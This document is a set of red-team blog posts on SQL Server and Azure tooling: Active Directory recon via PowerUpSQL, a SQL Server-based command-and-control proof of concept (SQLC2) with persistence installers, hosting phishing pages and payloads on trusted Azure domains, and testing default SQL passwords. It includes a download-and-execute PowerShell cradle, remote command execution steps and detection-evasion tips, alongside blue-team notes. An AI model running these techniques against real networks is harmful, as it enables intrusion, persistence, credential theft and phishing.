Dumping Active Directory Domain Info – with PowerUpSQL!

This blog walks through how to use the OLE DB ADSI provider in SQL Server to query Active Directory for information.  I’ll also share a number of new PowerUpSQL functions that can be used for automating common AD recon activities through SQL Server. Hopefully this will be useful to red teamers, pentesters, and database enthusiasts. Thanks to Scott Sutherland (@_nullbind) for his work on both the AD recon functions and PowerUpSQL!


The T-SQL below shows how the ADSI provider is used with OPENQUERY and OPENROWSET to query for Active Directory information. First, a SQL Server link needs to be created for the ADSI provider. A link is created with the name “ADSI”.

-- Create SQL Server link to ADSI
IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'ADSI') = 0
EXEC master.dbo.sp_addlinkedserver @server = N'ADSI',
@srvproduct=N'Active Directory Service Interfaces',
SELECT 'The target SQL Server link already exists.'
Img Afdf C E

If using OPENQUERY, associate the link with the current authentication context. A username and password can also be specified here. Then run the example query.

Note: The LDAP “path” should be set to the target domain.

-- Define authentication context - OpenQuery
EXEC sp_addlinkedsrvlogin
-- Use openquery
FROM OPENQUERY([ADSI],'<LDAP://path>;(&(objectCategory=Person)(objectClass=user));name, adspath;subtree')
Img Afdf E D

If using OPENROWSET, enable ad hoc queries. Then run the example query with a specified username and password or default authentication.

Note: The LDAP “path” should be set to the target domain.

-- Enable 'Show Advanced Options'
EXEC sp_configure 'Show Advanced Options', 1

-- Enable 'Ad Hoc Distributed Queries'
EXEC sp_configure 'Ad Hoc Distributed Queries', 1

-- Run with openrowset
'<LDAP://path>;(&(objectCategory=Person)(objectClass=user));name, adspath;subtree')
Img Afdf Cc C

Loading PowerUpSQL

PowerUpSQL can be loaded quite a few different ways in PowerShell. Below is a basic example showing how to download and import the module from GitHub.

IEX(New-Object System.Net.WebClient).DownloadString("")

Newly Added Active Directory Recon Functions

Now that you have PowerUpSQL loaded, you can use the new commands to execute queries against the domain.  However, please be aware that all commands require sysadmin privileges.

Function NameDescription
Get-SQLDomainAccountPolicyProvides the domain account policy for the SQL Server’s domain.
Get-SQLDomainComputerProvides a list of the domain computers on the SQL Server’s domain.
Get-SQLDomainControllerProvides a list of the domain controllers on the SQL Server’s domain.
Get-SQLDomainExploitableSystemProvides a list of the potential exploitable computers on the SQL Server’s domain based on Operating System version information.
Get-SQLDomainGroupProvides a list of the domain groups on the SQL Server’s domain.
Get-SQLDomainGroupMemberProvides a list of the domain group members on the SQL Server’s domain.
Get-SQLDomainObjectCan be used to execute arbitrary LDAP queries on the SQL Server’s domain.
Get-SQLDomainOuProvides a list of the organization units on the SQL Server’s domain.
Get-SQLDomainPasswordsLAPSProvides a list of the local administrator password on the SQL Server’s domain. This typically required Domain Admin privileges.
Get-SQLDomainSiteProvides a list of sites.
Get-SQLDomainSubnetProvides a list of subnets.
Get-SQLDomainTrustProvides a list of domain trusts.
Get-SQLDomainUserProvides a list of the domain users on the SQL Server’s domain.
Get-SQLDomainUser -UserState DisabledProvides a list of the disabled domain users on the SQL Server’s domain.
Get-SQLDomainUser -UserState EnabledProvides a list of the enabled domain users on the SQL Server’s domain.
Get-SQLDomainUser -UserState LockedProvides a list of the locked domain users on the SQL Server’s domain.
Get-SQLDomainUser -UserState PreAuthNotRequiredProvides a list of the domain users that do not require Kerberos preauthentication on the SQL Server’s domain.
Get-SQLDomainUser -UserState PwLastSet 90This parameter can be used to list users that have not changed their password in the last 90 days. Any number can be provided though.
Get-SQLDomainUser -UserState PwNeverExpiresProvides a list of the domain users that never expire on the SQL Server’s domain.
Get-SQLDomainUser -UserState PwNotRequiredProvides a list of the domain users with the PASSWD_NOTREQD flag set on the SQL Server’s domain.
Get-SQLDomainUser -UserState PwStoredRevEncProvides a list of the domain users storing their password using reversible encryption on the SQL Server’s domain.
Get-SQLDomainUser -UserState SmartCardRequiredProvides a list of the domain users that require smart card for interactive login on the SQL Server’s domain.
Get-SQLDomainUser -UserState TrustedForDelegationProvides a list of the domain users trusted for delegation on the SQL Server’s domain.
Get-SQLDomainUser -UserState TrustedToAuthForDelegationProvides a list of the domain users trusted to authenticate for delegation on the SQL Server’s domain.

Dumping Domain Users Examples

This example shows how to gather a list of enabled domain users using a Linked Server via OPENQUERY.

Get-SQLDomainUser -Instance MSSQLSRV04SQLSERVER2014 -Verbose -UserState Enabled
Img Afdfb A Ffee

Alternatively, the command can be run using ad hoc queries via OPENROWSET as shown below.  Its nothing crazy, but it does provide a few options for avoiding detection if the DBAs are auditing for linked server creation, but not ad hoc queries in the target environment.

Get-SQLDomainUser -Instance MSSQLSRV04SQLSERVER2014 -Verbose -UserState Enabled -UseAdHoc
Img Afdfb D Caec

The functions also support providing an alternative SQL Server login for authenticating to the SQL Server and an alternative Windows credential for configuring server links.  More command examples can be found here.

The Authentication and Authorization Matrix

Depending on the current user’s security context or the provided credentials, the user may not have access to query AD for information. The tables below illustrate privileges and the corresponding access.

OPENQUERY (Linked server) auth table by Scott Sutherland (@_nullbind)

Current User (Domain User – Public)Current User (Domain User – Sysadmin)Current User (SQL Login – Public)Current User (SQL Login – Sysadmin)Provided Domain UserAccess

OPENROWSET (Ad Hoc query) auth table by Scott Sutherland (@_nullbind)

Current User (Domain User – Public)Current User (Domain User – Sysadmin)Current User (SQL Login – Public)Current User (SQL Login – Sysadmin)Provided Domain UserAccess


Recon is an essential first step in assessing the security of an Active Directory environment. Thanks to some great work by Will Schroeder (@harmj0y) and others on Powerview. Hopefully these AD recon functions will provide another medium to accomplish the same end.  For more information on the newly added AD recon functions, check out the PowerUpSQL wiki!


Databases and Clouds: SQL Server as a C2

There is no shortage of dependable control channels or RATs these days, but I thought it would be a fun side project to develop one that uses SQL Server. In this blog, I’ll provide an overview of how to create and maintain access to an environment using SQL Server as the controller and the agent using a new PoC script called SQLC2.

It should be interesting to the adversarial simulation, penetration testing, red, purple, blue, and orange? teams out there looking for something random to play with.  Did I miss any marketing terms?

Why SQL Server?

Well, the honest answer is I just spend a lot of time with SQL Server and it sounded fun.  However, there are practical reasons too.  More companies are starting to use Azure SQL Server databases. When those Azure SQL Server instances are created, they are made accessible via a subdomain of “*” on port 1433. For example, I could create an SQL Server instance named “”. As a result, some corporate network configurations allow outbound internet access to any “*” domain on port 1433.

So, the general idea is that as Azure SQL Server adoption grows, there will be more opportunity to use SQL Server as a control channel that looks kind of like normal traffic .

SQLC2 Overview

SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent.

Basic functionality includes:

  • Configuring any SQL Server to be a controller
  • Installing/Uninstalling PowerShell and SQL Server based SQLC2 agents on Windows systems
  • Submitting OS commands remotely
  • Recovering OS command results remotely

SQLC2 can be downloaded from

At its core, SQLC2 is just a few tables in an SQL Server instance that tracks agents, commands, and results. Nothing too fancy, but it may prove to be useful on some engagements.  Although this blog focuses on using an Azure SQL Server instance, you could host your own SQL Server in any cloud environment and have it listen on port 443 with SSL enabled. So, it could offer a little more flexibility depending on how much effort you want to put into it.

Naturally, SQLC2 was built for penetration test and red team engagements but be aware that for this release I didn’t make a whole lot of effort to avoid blue team detection. If that’s your goal, I recommend using the “Install-SQLC2AgentLink” agent installer instead of “Install-SQLC2AgentPs”. The link agent operates almost entirely at the SQL Server layer and doesn’t use any PowerShell so it’s able to stay under the radar more than the other supported persistence methods.

Below is a diagram illustrating the SQLC2 architecture.

Img B B

For those who are interested, below I’ve provided an overview of the Azure setup, and a walkthrough of the basic SQLC2 workflow. Enjoy!

Setting Up an SQL Server in Azure

I was going to provide an overview of how to setup an Azure database but  Microsoft has already written a nice article on the subject. You can find it at

SQLC2: Installing C2 Server Tables

The SQLC2 controller can be installed on any SQL Server by creating two tables within the provided database.  That database will then be used in future commands to check-in agents, download commands, and upload command results.

Below is the command to setup the SQLC2 tables in a target SQL instance.

Install-SQLC2Server -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Install Sqlc Server

You can use the SQLC2 command below to check which agents have phoned home. However,  there wont be any agents registered directly after the server installation.

Get-SQLC2Agent -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Checkforregisteredagents

Once agents and commands have been processed the actual C2 tables will simply store the data.  You can also connect directly to your Azure SQL Server with SQL Server Management Studio to view the results as well.  Below is an example screenshot.

Img B Faddd B

SQLC2: Installing C2 Agents

SQLC2 supports three methods for installing and running agents for downloading and executing commands from the C2 server.

  1. Direct Execution: Executing directly via the Get-SQLC2Command
  2. Windows Schedule Task: Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute.
  3. SQL Server Agent Job: Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.

Option 1:  Direct Execution

You can list pending commands for the agent with the command below.   All Get-SQLC2Command execution will automatically register the agent with the C2 server.

Get-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Registersystem Checkforcommands

Adding the -Execute flag with run pending commands.

Get-SQLC2Command -Verbose -Execute -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Registersystem Checkforcommandsandrunthem

The examples above show how to run SQLC2 commands manually. However, you could have any persistence method load SQLC2 and run these commands to maintain access to the environment.

Option 2:  Windows Scheduled Task

Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute. Note: Using the -Type parameter options you can also install persistence via “run” or “image file execution options” registry keys.

Install-SQLC2AgentPs -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Persistpsinstall

It can be uninstalled with the command below:

Uninstall-SQLC2AgentPs -Verbose

Sqlc Persistpsuninstall

Option 3:  SQL Server Agent Job

Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.

Install-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014' -C2Instance -C2Database test1 -C2Username CloudAdmin -C2Password 'BestPasswordEver!'

Sqlc Installlinkpersist

For those who are interested, I’ve also provided a TSQL version of the SQL Server agent installer you can find at

It can be uninstalled with the command below.

Uninstall-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014'

Sqlc Installlinkpersistremove

SQLC2: Issuing OS Commands

To send a command to a specific agent, you can use the command below. Please note that in this release the agent names are either the computer name or sql server instance name the agent was installed on.  Below are a few command examples showing a registered agent and issuing a command to it.

Get-SQLC2Agent -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Agentischeckin

Set-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Sqlc Set Command For Agent

SQLC2: Get Command Results

Below is the command for actually viewing the command results. It supports filters for servername, command status, and command id.

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Getcommandresults

SQLC2: Uninstalling C2 Tables

Below are some additional commands for cleaning up when you done.  They include commands to clear the command history table, clear the agent table, and remove the C2 tables all together.

Clear command history:
Remove-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Clear agent list:
Remove-SQLC2Agent -Username c2admin -Password 'SqlServerPasswordYes!' -Instance -Database test1 -Verbose
Remove SQLC2 tables:
Uninstall-SQLC2Server -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Blue Team Notes

  • The PowerShell commands and agents should show up in your PowerShell logs which can be a useful data source.
  • The persistence methods for tasks, registry run keys, and “image file execution options” registry keys can all be audited, and alerts can be configured. The commands used to create the persistence also tend to generate Windows event logs can all be useful and most Endpoint Detection and Response solutions can identify the commands at execution time.
  • If possible, deploy audit configurations to internal SQL Servers to help detect rogue agent jobs, ad-hoc queries, and server links. I have some old examples of logging options here. If configured correctly they can feed alert directly into the Windows event log.
  • Although it’s harder than it sounds, try to understand what’s normal for your environment. If you can restrict access to “*” to only those who need it, then it can be an opportunity to both block outbound access and detect failed attempts.  Network and DNS logs can come in handy for that.

Wrap Up

SQLC2 is a pretty basic proof of concept, but I think it’s functional enough to illustrate the idea.  Eventually, I’ll likely role it into PowerUpSQL for the sake of keeping the offensive SQL Server code together. At that point, maybe I’ll also role in a few CLR functions to step it up a bit.  In the meantime, for those of you looking to explore more offensive cloudscape options, check out Karl Fosaaen’s blog on other Azure services that can be useful during red team engagements. It’s pretty interesting.


Utilizing Azure Services for Red Team Engagements

Everything seems to be moving into the cloud, so why not move your red team infrastructure there too. Well… lots of people have already been doing that (see here), but what about using hosted services from a cloud provider to hide your activities within the safety of the provider’s trusted domains? That’s something that we haven’t seen as much of, so we decided to start investigating cloud services that would allow us to make use of subdomains from trusted domains.

There are multiple options for cloud providers, so for starters we will be just looking at Microsoft’s Azure services. Each cloud provider offers similar services, so you may be able to apply these techniques to other providers.

Domain Reputation Overview

Given that Domain Fronting is kind of on its way out, we wanted to find alternative ways to use trusted domains to bypass filters. One of the benefits of using Azure cloud services for red team engagements is the inherent domain reputation that comes with the domains that are hosting your data (Phishing sites, Payloads, etc.).

To be specific here, these are services hosted by Microsoft that are typically hosted under a Microsoft sub-domain (, etc.). By making use of a domain that’s already listed as “Good”, we can hopefully bypass any web proxy filters as we work through an engagement.

This is not a comprehensive list of the Azure services and corresponding domains, but we looked at the Talos reputation scores for some of the primary services. These scores can give us an idea of whether or not a web proxy filter would consider our destination domain as trusted. Each Azure domain that we tested came in as Neutral or Good, so that works in our favor.

ServiceBase DomainBase Web ReputationBase Weighted ReputationSubdomain Web ReputationSubdomain Weighted Reputation
App Servicesazurewebsites.netNeutralNo ScoreNeutralNo Score
IoT Hubazure-devices.netNeutralNo ScoreNeutralNo Score

Note: We also looked at the specific subdomains that were attached to these Azure domains and included their reputations in the last two columns. All subdomains were created fresh and did not get seasoned prior to reputation checking. If you’re looking for ways to get your domain trusted by web proxies, take a look at Ryan Gandrud’s post – Adding Web Content Filter Exceptions for Phishing Success.

For the purposes of this blog, we’re just going to focus on the App Services, Blob Storage, and AzureSQL services, but there’s plenty of opportunities in the other services for additional research.

Hosting Your Phishing Site

The Azure App Services domains scored Neutral or No Score on the reputation scores, but there’s one great benefit from hosting your phishing site with Azure App Services – the SSL certificate. When you use the default options for spinning up an App Services “Web App”, you will be issued an SSL certificate for the site that is verified by Microsoft.


Now I would never encourage someone to pretend to be Microsoft, but I hear that it works pretty well for phishing exercises. One downside here is that the TLD ( isn’t the most known domain on the internet and it might raise some flags from people looking at the URL.

*This is also probably against the Azure terms and conditions, so insert your standard disclaimer here.

**Update: After posting this blog, my test site changed the ownership information on the SSL certificate (after ~5 days of uptime), so your mileage may vary.

As a security professional, I would probably take issue with that domain, but with a Microsoft verified certificate, I might have less apprehension. When the service was introduced, ZDNet actually called it “phishing-friendly”, but as far as we could find, it hasn’t really been adopted for red team operations.

The setup of an Azure App Services “Web App” is really straightforward and takes about 10 minutes total (assuming your phishing page code is all ready to go).

Check out the Microsoft documentation on how to set up your first App Services Web App here –

Or just try it out on the Azure Portal –

Storing Your Payloads

Setting up your payload delivery is also easy within Azure. Similar to the AWS S3 service, Microsoft has their own public HTTP file storage solution called Blob Storage. Blobs can be set up under a “Storage Account” using a unique name. The unique naming is due to the fact that each Blob is created as a subdomain of the “” domain.


For example, any payloads stored in the “notpayloads” blob would be available at We also found that these domains already had a “Good” reputation, so it makes them a great option for delivering payloads. If you can grab a quality Blob name (updates, photos, etc.), this will also help with the legitimacy of your payload URL.

I haven’t done extensive testing on long term storage of payloads in blobs, but a 2014 version of Mimikatz was not flagged by anything on upload, so I don’t think that should be an issue.

Setting up Blob storage is also really simple. Just make sure that you set your Blob container “Access policy” to “Blob” or “Container” to allow public access to your payloads.

If you need a primer, check out Microsoft’s documentation here –

Setting Up Your C2 in Azure

There are several potential options for hosting your C2 infrastructure in Azure, but as a companion to this blog, Scott Sutherland has written up a method for using AzureSQL as a C2 option. He will be publishing that information on the NetSPI blog later this week.

Conclusions / Credits

You may not want to move the entirety of your red team operations to the Azure cloud, but it may be worth using some of the Azure services, considering the benefits that you get from Microsoft’s trusted domains. For the defenders that are reading, you may want to keep a closer eye on the traffic that’s going through the domains that we listed above. Security awareness training may also be useful in helping prevent your users from trusting an Azure phishing site.

Special thanks to Alexander Leary for the idea of storing payloads in Blob Storage, and Scott Sutherland for the brainstorming and QA help.


Attacking Application Specific SQL Server Instances

This blog walks through how to quickly identify SQL Server instances used by 3rd party applications that are configured with default users/passwords using PowerUpSQL.  I’ve presented on this topic a few times, but I thought it was worth a short blog to help address common questions.  Hopefully it will be useful to penetration testers and internal security teams trying to clean up their environments.

Update September 13 , 2018
This is just a quick additional to the original blog.  I added a 15 more default passwords to the Get-SQLServerLoginDefaultPw function.  Details can be found here.

Testing Approach Summary

Default passwords are still one of the biggest issues we see during internal network penetration tests. Web applications are especially neglected, but 3rd party applications that are deployed with their own instance of SQL Server can also go over looked.  Rob Fuller created a nice list of default SQL Server instance passwords in PWNWiki a while back. We were tracking our own list as well, so I glued them together and wrapped a little PowerShell around them to automate the testing process.

The high-level process is pretty straight forward:

  1. Create a list of application specific SQL Server instance names and the associated default users/passwords.
  2. Identify SQL Instances through LDAP queries, scanning activities, or other means.
  3. Cross reference the list of default instance names with the discovered instance names.
  4. Attempt to log into SQL Server instances that match using the associated default credentials. 😊 Tada!

Loading PowerUpSQL

PowerUpSQL can be loaded a quite a few different ways in PowerShell. Below is a basic example showing how to download and import the module from GitHub.

IEX(New-Object System.Net.WebClient).DownloadString("")

For more standard options visit

Also, for more download cradle options check out Matthew Green’s blog at

Command Example: Targeting with Broadcast Ping

After you’ve loaded PowerUpSQL, you can run the command below to discover SQL Server Instances on your current broadcast domain.

Get-SQLInstanceBroadcast -Verbose

As you can see, the command provides you with a list of SQL Server instances on your local network. To identify which of the SQL Instances are configured with default passwords you can pipe “Get-SQLInstanceBroadcast” to  “Get-SQLServerLoginDefaultPw” as shown below.

Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw -Verbose

Command Example: Targeting with LDAP Query

If you have domain credentials, or are already running on a domain system, you can also query Active Directory via LDAP for a list of registered SQL Servers with the command below. This can also be executed from a non-domain system using syntax from the PowerUpSQL Discovery Cheatsheet.

Get-SQLInstanceDomain -Verbose

Like the last example, you can simply pipe “Get-SQLInstanceDomain”  into “Get-SQLServerLoginDefaultPw” to identify SQL Server instances registered on the domain that are configured with default passwords.

Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose

The full list of SQL Server instance discovery functions supported by PowerUpSQL have been listed below.

Function Name Description
Get-SQLInstanceFile Returns SQL Server instances from a file. One per line.
Get-SQLInstanceLocal Returns SQL Server instances from the local system based on a registry search.
Get-SQLInstanceDomain Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL service principal names. The function will default to the current user’s domain and logon server, but an alternative domain controller can be provided. UDP scanning of management servers is optional.
Get-SQLInstanceScanUDP Returns SQL Server instances from UDP scan results.
Get-SQLInstanceScanUDPThreaded Returns SQL Server instances from UDP scan results and supports threading.
Get-SQLInstanceBroadcast Returns SQL Server instances on the local network by sending a UDP request to the broadcast address of the subnet and parsing responses.

I also wanted to note that there is a DBATools function called “Find-DbaInstance” that can be used for blind SQL Server instance discovery . It actually supports a few more discovery options than PowerUpSQL. Chrissy LeMaire already wrote a nice overview that can be found at

What does Get-SQLServerLoginDefaultPw look for?

Currently the “Get-SQLServerLoginDefaultPw” functions cover 41 application specific default SQL Server instances, users and passwords. I intentionally didn’t include instances named SQL Express or MSSQLSERVER, because I wanted to avoid account lockouts. The only time a login is attempted is when there is an instance match that is unique to the application deployment. For those who are curious, the current list of application specific instances has been provided below.

AutodeskVault CADSQL Emerson2012 STANDARDDEV2014

If you see an instance name I’m missing let me know.  I’m more than happy to update the function. 🙂

Wrap Up

In conclusion, make sure to take a close look at the third party applications you deploy in your environment.  Hopefully this blog/tool will help security teams clean up default passwords associated with default SQL Sever instances.  Good luck and hack responsibly!

Discover why security operations teams choose NetSPI.